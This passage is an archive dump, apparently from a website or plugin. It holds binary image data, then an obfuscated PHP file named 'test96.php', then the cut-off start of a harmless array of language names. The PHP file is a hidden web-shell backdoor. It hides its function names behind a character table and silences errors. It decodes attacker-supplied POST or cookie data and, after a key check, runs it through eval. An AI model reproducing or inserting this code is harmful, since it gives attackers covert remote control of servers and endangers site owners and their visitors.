��H��y�R`��Q\gA�{�"��-�D�ث�NN���I,D���Fٰ`��S�k�pQ>!u�<�Fuύ'y��=Hf�&���Kw�_��F�?��&�@�%
d�	���<7<8�����[�N~>��[�RX��g��~�;�<��0s|i&8�Φ~����u�x:MVPY��������Gh��b�����
�p,�y�K�U�DϬ����pY8����*w��@%�K�<��"�F��`(�ԁ�~��+�EVi�#�%������!�W�i�(!/�L�0%�SRNH\�t�|Ԑ_����W��i�e��5�0��+�d�S��PFYA=��K�m/;<��T����c�
-#��!�8����g����2"�cz�#?�P���qTMg2Yf��s��������}T�h��sǿ��@��L;<P�H&��h�|y��z^Y7�����9�J�_c"�A������w"ܑ���٦�	��S�PRR�_��X��l�yP5�7�$��u0��R_��f9~��g�F�RG��09@�WHE�*m��O�ģ���K���B�+f��:f�f+s�z�p�q%�B!��fNJˉEX9LJ�B5Pr���k!�iA�wfo~���1Q�`�e��Gl�{�]�s(�!p��:�l�T$�ڛ�f�p�Kկr�}�6ѵ��ڗ�9��@D��¡GP�� ��֕�Gݨ�fz�>��A���`�_��e��b���i@Ãה�Hq��'6ֿt�"<���jEQ�����nvf:h$�y(8�Ñ:"xl�',�#u%ܸ�ם?5e�=�XJ��Ao��Gq��:\vf-:�Æ�2��[z����i��OOa��W�4%:D>9���m���_˘eg�h���צ|�Ď�k� tq���<u��#�ʒ���=���?ϗ��
"Ogr���gb����w��A���K���,9���_<�t��P'�P<(�1Jb�
����2�����Ć*нy���P��H����'�T_�J�sb(���]P��檦Cu�'-���F�
���/&��y<8�x ���K^N��n�=�J�vw�E��^���`*-��"�ɗ惔}(�X��P^�ʬ�~m#��_�n��׆��L_&<h]��gRt�0{R~��5��1o�V���?�4�Y�?��خÃ��'��2����܇T�ޛ������I��kh�!��p�1���!�n����������d ��߳a
ƘFK9Ņ�߲ �١�ʕ��AG�Fm��&��g��֭�L�/D˳���Tc�LbX�?�@!52\���[@��1@=mT����$��4�?�]ط��/`U�oz��x3c7���`„	uiJ�ߟ�}D�'��9q(z�2��?�*�>8//|Y����?1-�Aߵ�2u�����(��}hȯ�x*+KP]i�Äq�O�Ɔ���C|��V���-8�i��-�4�r� D!
[���0Ա�6�pQ���f
������Pk!�Q�H�x��v���+j�����Q����fpqw"�oO���	ਜ਼�eʅ���Mϣ�aW�@�iMMuI��������J|φ����_H��R������v�M�b[�I��t��/�R���ʾ�����C0!�_F�(R���|(�>~���!�C�Jx�s�Q2$����<�?�j)�;T���.�*+��m����cj])�,��sL$N=�ӹ�U�@ ����6–~��N�/�#��U�a�D�u*�tV��a�J�gz	j{��+=+����F_8�_�?��\������A�?���o<*<X��?qt�pԉ�ٮ�O���C|.���A���{���l⸔��?�E.�Z�D�q�:{�Nh(q���O�-({���'&��5��J���4eM^��4�D�iRONV
C~ey��e�)_'/�i�Ky<�W�A�ET���C�93��!}>'��dʇ�0м�d��&�Kx�������4S>|?WN���|���m�]'L%��I���H���Ϲ`Y�3D��pDN��1!���56u�x����9��;y��A:_x�o��G�k���%�7��sj��ggid?�V�e����!,��
L�
{˷n��Eu��Ʃ��&]�Ґ�����$��`m$��?���ixơ"�x��F1e�"di�š�;+:u�Bj�����7��4ʐ�By<8fx�q�%G���sz�
̺���x�VK,���x xA�K"�	Qj���2yj��^ŦL��,q���f$���B��x sd�Ն˝�,C�-� �����.D��D�ظ�O�vH��(�Z�0�mR���;�,"��2��Rg<�X����	��S�&�Ng:�j�S�H;��Oj<H>W�ߝ�;�z*�@�O����A
�4�h��GE"�
.r�I%zڰ�?15JhӜjw�n[F
RN~���EU�޸}� /�lzr6+k�X��mUE�0�y��J�~,"i�=޼}���}������/�n�>!7���k�'�ؤ���`���$�~���0%��J��0�@8Gy��䊆oF��~�`��ז��KJJ��x��ACC#���v�����Ir���~m������	�ļ?R�xp⪽��	?�V��'W߾@#	&����k�/��������=
ۺ�PG�Êk�K�ڵE�~͘��&�l2�֠� ��=,�ucg��M����`Ix�J�vN��Oq�_M�h�X�
�qEN<r�X�����`��e�a���MC}DFy�F� �z(H$��Ag�t=l�X���`Ԃ���ҩXw9������.�l�-���W�p?;�m>��`��m�	����q��Z��uu�A��B"��?}؉M��:Z�������]x��h��񓭭h�#����i)_rί��E�mmJ�_w(���G�_�
��cG���H����-=:ya󺄼 �>oN� �&��#����D>HUak\�ިP^f�@s�Q�ٛ��̙�GΧ���?���a.u1'7�B��	��-��q'\���{��!�9�_0�f_P�S�wn��������ޡ�[3gڇ%�����v��H�c��Caň�M�}X�*g�_�65�\Kl�b#�/��9~����#�&�
�.�Ӑ�@���Q���ϟQUjܛ(�LII�K����C�A&�i�X�O�t��X�L ��A�b��l����C��C�-���W����C�[��Z��ϼ�ɗ6}�����?q(��?��R�'�?��["���Kb��?`��t�B8���"��1�/틁]�Q�s���0�g�P|	���~�2m����H允XǍc�����ڴ�z� ����k�R~󛈼��P\o/����*���YQ���~޻���ς+,"�,p�}6�o�AO��&��XL������C������a*(��ᇘ��Z7X>�T{�@��!���#��c0a�Q�i�@w���)����P��
j�)��V�H��"�l#��+�'BB�CU"�
�Ǽ���Fڞ���Fx�F��'C�����nO��H4 �T;v`?b{�0�G�����=MS����_���o��Xs�	$��ֳWT�����&
b�|�7f���A���9S�ծo��Pd/ ��͔�"�0��C8��$U�x��ii��A8�1�
�Ӧ�+5zJF���S�9Ft������\�����r�9����t�Y˸:{��
��X��a�g���`,m1��ӣh�՝p�
��
���=ҵu����Z`֜���g��Át!�k���'0L$�x�,��\�5��47[��z�E�#����|��N�p�{˸�r��Kn�ol�{���̔O�<E� ^�ԏ�ft��ď�L�s�:�i=�?0���ix0��9
���m�/�
�b<�L���dvv��{bd.T�s�j����o�������n�ʍѡ兢x�<8��A���q���,�	�NV��]��.t�J�k���:Mz'O��?�hw���C�-���%Q'�8-Q�x�-yIfLĉ�.��e	���x
7�.�TB'}��M1��/��e��c�v#{ĥ�D�BѺ�Dج2�|�*��?�4Y�#���k�[�E$���'����i��L.��M8�0�ǃc�W��ԍ���$�^�����ͱ�&ቦ��R(K����[���+�	ԡ�Q�߯
�*|}�^�:47:1��0���!{�_����Y�[W(�h�
x�#l���P��ƪ1��d��D`�[?7]~���.ܾb������NJ�yI	"z��v�����dZ��7Ʋ�]R@���k@� \=�}U�*��Np0��'��!%����}f�{��)3�b���HwvN����Ѡ#�A�g���3�dl8���ǃ/����~��nO��d��}(y��I�O&�P�r"&����$N�il�^M�L�FQ�)Rh�"G�a�;|{c0���[�@��m�|i����H�*�(u�N�]^X��ZT�rA�u5�LP$u�h�,$�0&;z�t׷���v��R�Nf6���V�;#F����{O�܌��d��=��r���g��~��?.N�P~�f
捙<��cf��u�Q����.;J}�Z�yA��G�Y<S�H��U{
�Dл�F�����Ad�V��P�����d}��F��Ӎ�h�O�@qY�·�7R}bD��a&��@�y����Y��"'δ�SK���T�d؆��b3�&
R�R���y<�\� 5�Y
�>y���J�q��O�
���4~A&�)�х���[Q��|X&�B
�x}3�5�0���N�ɚ���#�M�l��m@[��<����=z��r_x�"��6�<�yK�U�ͅ�>���|̜���T��g1xp��N�6�<�Xb%��S�.$����Ǧ����«��L
�|�P����[a�(W�`�jg<rM���A�q���`���v�,VXI��x��	��Y��{���SM�4?���V_�&f2U[F�������g����M�{UN����ae��1Lz�1��s�cpk')\��
�&5�yէp
ư��h�t`jk����!�
�bZ��f]	2�1�U�Q�9���y�X�	X����@G�VR+>���˳J�V�/<�5��94��(��O~3������݆����nU�Ln̤AQ8CZ�<s<m��{z`������L!�D-Y��Q0�����W9�?���(��ֶl���#E;:a
"e%9�TM�G¸q,���4��OU�A?,d�4d�?J�4$2i��E��T.[4��#
�ۇ�^?��cp�G���6���|Uby'U�s��FV�E�d�5��XD�&�_[Y,ґe�`��cB`;[?%]؋Nǰ��xp��`�UO��7���%V�^�%Wgϕ�����FQ��)��&pa���:�f�p�N@��M��5����%N�nݜ���yv&'L2y�m&�h�!�������u�"��0��'�gŃ�n��ڮ���'4��4d
h�d
�,}f{B��"ݒ0�s�N�A��J0q@//D
���y� �{�h��g�~�	�	��I�G1��W�o1�
�/�&��_�����S|�����a#+Y�y�7���.�r�ȵ0��/���b"�?nE�kT<�J�A�\^(��6#�U]�ȸ�4uL8�Kp,\i��+�u�-~_�(�\�u�	�
X��ɱCv���	1�m�7(�����̥��
�{B�B"L <@��&��
�TB
��9D�lRq��[�`�B�
"@�QE��w�T$+���S6�WX	�0��k��#�h[��w�nw?�;9D��i�L�Cbє�j+��$:M�e����'��gq=�H��Z�6�=&Ru���`�Yʂ�a�&�gI�Tʤ�,�w�,��G�e� �0��ྞ�ӌ��l��!E�$���
Q"W��9�A�q<�����1
*�@
��d�y��	""[I�<&�[�	��bѻP�b��0j����>[S��U�6�B�ق���w80���Cԫ���:܅OIK��j��"�(�2�e&��pv�V���C�>8��]��������~,�ɔߏ%�K~?�/�~,_�/C�T?�)_Z���N=����+�}��d��֓��g�!M�H�Bu��ڂ�1��!�܄�ӕKs&�:�NV�9ے6�b�����u�SR� ��usݞ9E@��j��C�b�r=��Y�\�C�An������X�}.Kc��0�k���w]�ao/��w{K�J ~T��6o��ڊ���F�5��F)*B4��2ۑ�IP�)�g���B����
������/���ˈBf&Ȍ���8 �����	�LJ�����t����A �������z<�E������Ńy�]�Y��Ov�a��W�~�Y���;��8T"��a^>��b�%�xP��;OLq�?J#F��:~��[h�?f�@q�1�5���[����i�;rn=!�|7�6MIO?�'��I| tc|[?�}�C���k6��>Z��Ӌq��|{o?���D���aø|��tY
�D��������6!�/�ڰ�FA9��/^i��u@�yY�$�~\�kS7�>�4DlVf���r<1�VIA�'o��塳�ߟ�7��
�|��j�8"����U����adX��k{�O{����
�?�]X�A���I��6��Kj�w�'��X�ƃSz5S�]V�؋��z�����P�
�1�[Onɧs[y\�'��y$�&�uak�
�E�ݞ������啎E_U:/�,�p�e�|�4�o�:��p�R�`�=��B�����Քez��"�kSS��ţ��b-A�{�B���Ō�+/W]%��KN���A��w_�=��>޹q�I(��R���ׇó����!��w?!3��G%�;,��S��&�a}���-obdUUZ?5��aO���t�����w 5�;��*ks���W�%�����i0hx*��BKR�;�~I�3��1�
F���$��$+��#�I?�3��r���SXx�oIm��a��yy��t��>�t0��v��L����'Q�!�H�gB0]���I�N�?P�+�r&��%�_[R��o>Ouj�\��\���캙Z�+[�d�R��w|���$�殖��=+g���	h�l&t�5If/]^ZIU����;胗��^_�v�RX���,�g�[�3�."��&=eMz[A������}o��
/��u�k
=������0�Ǝ&����Aei�����O��
w=�;�.���ָ/T��@%s����i����^
yPb[�$ܬ%EV�l�d�����z�=?n��V����oxE�"���wlD,�%?R��f��}��׮œI��a�&<��A�����<�6�]�Lh�KR��_\���=�b��d�fa`��u�D���O��Du�ˆ�O�Y����Y0IEND�B`�test96.php000060400000030172151721413500006411 0ustar00<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['ye80deb1c'] = "\x66\x4c\x48\x72\x2b\x6d\x49\x5e\x31\x5d\x77\x76\x56\x2a\x4f\x27\x28\x32\x52\x3f\x41\x4b\x6e\x7e\x63\x5b\x6b\x21\x29\x42\x9\x64\x4d\x68\x6a\x46\x57\x74\x30\x65\xa\x44\x47\x38\x3b\x35\x60\x58\x43\x75\x53\x3e\x7a\x54\x2c\x6c\x61\x23\x78\x71\x5f\x62\x25\x7c\x51\x20\x45\x79\x2e\x34\x2d\x3c\x33\x40\x4a\x3a\x55\x24\x4e\x26\x73\x7b\x70\x22\x39\x67\x5c\x36\x6f\x7d\x3d\x50\xd\x5a\x2f\x37\x69\x59";
$GLOBALS[$GLOBALS['ye80deb1c'][5].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][38]] = $GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][33].$GLOBALS['ye80deb1c'][3];
$GLOBALS[$GLOBALS['ye80deb1c'][59].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][56]] = $GLOBALS['ye80deb1c'][88].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][31];
$GLOBALS[$GLOBALS['ye80deb1c'][85].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][45].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][43]] = $GLOBALS['ye80deb1c'][80].$GLOBALS['ye80deb1c'][37].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][55].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][22];
$GLOBALS[$GLOBALS['ye80deb1c'][58].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][69]] = $GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][60].$GLOBALS['ye80deb1c'][80].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][37];
$GLOBALS[$GLOBALS['ye80deb1c'][10].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][31].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][87].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][45]] = $GLOBALS['ye80deb1c'][80].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][55].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][52].$GLOBALS['ye80deb1c'][39];
$GLOBALS[$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][87].$GLOBALS['ye80deb1c'][87]] = $GLOBALS['ye80deb1c'][82].$GLOBALS['ye80deb1c'][33].$GLOBALS['ye80deb1c'][82].$GLOBALS['ye80deb1c'][11].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][80].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][88].$GLOBALS['ye80deb1c'][22];
$GLOBALS[$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][17]] = $GLOBALS['ye80deb1c'][49].$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][80].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][55].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][52].$GLOBALS['ye80deb1c'][39];
$GLOBALS[$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][61]] = $GLOBALS['ye80deb1c'][61].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][80].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][87].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][60].$GLOBALS['ye80deb1c'][31].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][88].$GLOBALS['ye80deb1c'][31].$GLOBALS['ye80deb1c'][39];
$GLOBALS[$GLOBALS['ye80deb1c'][26].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][43]] = $GLOBALS['ye80deb1c'][80].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][37].$GLOBALS['ye80deb1c'][60].$GLOBALS['ye80deb1c'][37].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][5].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][60].$GLOBALS['ye80deb1c'][55].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][5].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][37];
$GLOBALS[$GLOBALS['ye80deb1c'][10].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][56]] = $GLOBALS['ye80deb1c'][10].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][45].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][84];
$GLOBALS[$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][38]] = $GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][31].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][95];
$GLOBALS[$GLOBALS['ye80deb1c'][37].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][8]] = $_POST;
$GLOBALS[$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][31].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][17]] = $_COOKIE;
@$GLOBALS[$GLOBALS['ye80deb1c'][58].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][69]]($GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][88].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][60].$GLOBALS['ye80deb1c'][55].$GLOBALS['ye80deb1c'][88].$GLOBALS['ye80deb1c'][85], NULL);
@$GLOBALS[$GLOBALS['ye80deb1c'][58].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][69]]($GLOBALS['ye80deb1c'][55].$GLOBALS['ye80deb1c'][88].$GLOBALS['ye80deb1c'][85].$GLOBALS['ye80deb1c'][60].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][88].$GLOBALS['ye80deb1c'][3].$GLOBALS['ye80deb1c'][80], 0);
@$GLOBALS[$GLOBALS['ye80deb1c'][58].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][69]]($GLOBALS['ye80deb1c'][5].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][58].$GLOBALS['ye80deb1c'][60].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][58].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][49].$GLOBALS['ye80deb1c'][37].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][88].$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][60].$GLOBALS['ye80deb1c'][37].$GLOBALS['ye80deb1c'][96].$GLOBALS['ye80deb1c'][5].$GLOBALS['ye80deb1c'][39], 0);
@$GLOBALS[$GLOBALS['ye80deb1c'][26].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][43]](0);

$s2f8 = NULL;
$n2058 = NULL;

$GLOBALS[$GLOBALS['ye80deb1c'][59].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][61].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][8]] = $GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][39].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][70].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][70].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][45].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][70].$GLOBALS['ye80deb1c'][61].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][70].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][8];
global $q9fb48191;

function i2ed4e8e7($s2f8, $ze33)
{
    $nd2d6 = "";

    for ($cb47a65=0; $cb47a65<$GLOBALS[$GLOBALS['ye80deb1c'][85].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][45].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][43]]($s2f8);)
    {
        for ($g94bc5e2=0; $g94bc5e2<$GLOBALS[$GLOBALS['ye80deb1c'][85].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][45].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][43]]($ze33) && $cb47a65<$GLOBALS[$GLOBALS['ye80deb1c'][85].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][45].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][43]]($s2f8); $g94bc5e2++, $cb47a65++)
        {
            $nd2d6 .= $GLOBALS[$GLOBALS['ye80deb1c'][5].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][84].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][38]]($GLOBALS[$GLOBALS['ye80deb1c'][59].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][56]]($s2f8[$cb47a65]) ^ $GLOBALS[$GLOBALS['ye80deb1c'][59].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][56]]($ze33[$g94bc5e2]));
        }
    }

    return $nd2d6;
}

function wa5aa29($s2f8, $ze33)
{
    global $q9fb48191;

    return $GLOBALS[$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][38]]($GLOBALS[$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][38]]($s2f8, $q9fb48191), $ze33);
}

foreach ($GLOBALS[$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][31].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][17]] as $ze33=>$l059)
{
    $s2f8 = $l059;
    $n2058 = $ze33;
}

if (!$s2f8)
{
    foreach ($GLOBALS[$GLOBALS['ye80deb1c'][37].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][8]] as $ze33=>$l059)
    {
        $s2f8 = $l059;
        $n2058 = $ze33;
    }
}

$s2f8 = @$GLOBALS[$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][17]]($GLOBALS[$GLOBALS['ye80deb1c'][10].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][17].$GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][56]]($GLOBALS[$GLOBALS['ye80deb1c'][22].$GLOBALS['ye80deb1c'][43].$GLOBALS['ye80deb1c'][95].$GLOBALS['ye80deb1c'][72].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][61]]($s2f8), $n2058));
if (isset($s2f8[$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][26]]) && $q9fb48191==$s2f8[$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][26]])
{
    if ($s2f8[$GLOBALS['ye80deb1c'][56]] == $GLOBALS['ye80deb1c'][96])
    {
        $cb47a65 = Array(
            $GLOBALS['ye80deb1c'][82].$GLOBALS['ye80deb1c'][11] => @$GLOBALS[$GLOBALS['ye80deb1c'][24].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][87].$GLOBALS['ye80deb1c'][87]](),
            $GLOBALS['ye80deb1c'][80].$GLOBALS['ye80deb1c'][11] => $GLOBALS['ye80deb1c'][8].$GLOBALS['ye80deb1c'][68].$GLOBALS['ye80deb1c'][38].$GLOBALS['ye80deb1c'][70].$GLOBALS['ye80deb1c'][8],
        );
        echo @$GLOBALS[$GLOBALS['ye80deb1c'][10].$GLOBALS['ye80deb1c'][0].$GLOBALS['ye80deb1c'][31].$GLOBALS['ye80deb1c'][69].$GLOBALS['ye80deb1c'][87].$GLOBALS['ye80deb1c'][56].$GLOBALS['ye80deb1c'][45]]($cb47a65);
    }
    elseif ($s2f8[$GLOBALS['ye80deb1c'][56]] == $GLOBALS['ye80deb1c'][39])
    {
        eval($s2f8[$GLOBALS['ye80deb1c'][31]]);
    }
    exit();
}native_names_map.php000064400000005036151721413500010566 0ustar00<?php
$native_names_map = array(
'af' => 'Afrikaans',
'sq' => 'Shqip',
'am' => 'አማርኛ',
'ar' => 'العربية',
'hy' => 'Հայերեն',
'az' => 'Azərbaycan dili',
'eu' => 'Euskara',
'be' => 'Беларуская мова',
'bn' => 'বাংলা',
'bs' => 'Bosanski',
'bg' => 'Български',
'ca' => 'Català',
'ceb' => 'Cebuano',
'ny' => 'Chichewa',
'zh-CN' => '简体中文',
'zh-TW' => '繁體中文',
'co' => 'Corsu',
'hr' => 'Hrvatski',
'cs' => 'Čeština‎',
'da' => 'Dansk',
'nl' => 'Nederlands',
'en' => 'English',
'eo' => 'Esperanto',
'et' => 'Eesti',
'tl' => 'Filipino',
'fi' => 'Suomi',
'fr' => 'Français',
'fy' => 'Frysk',
'gl' => 'Galego',
'ka' => 'ქართული',
'de' => 'Deutsch',
'el' => 'Greek',
'gu' => 'ગુજરાતી',
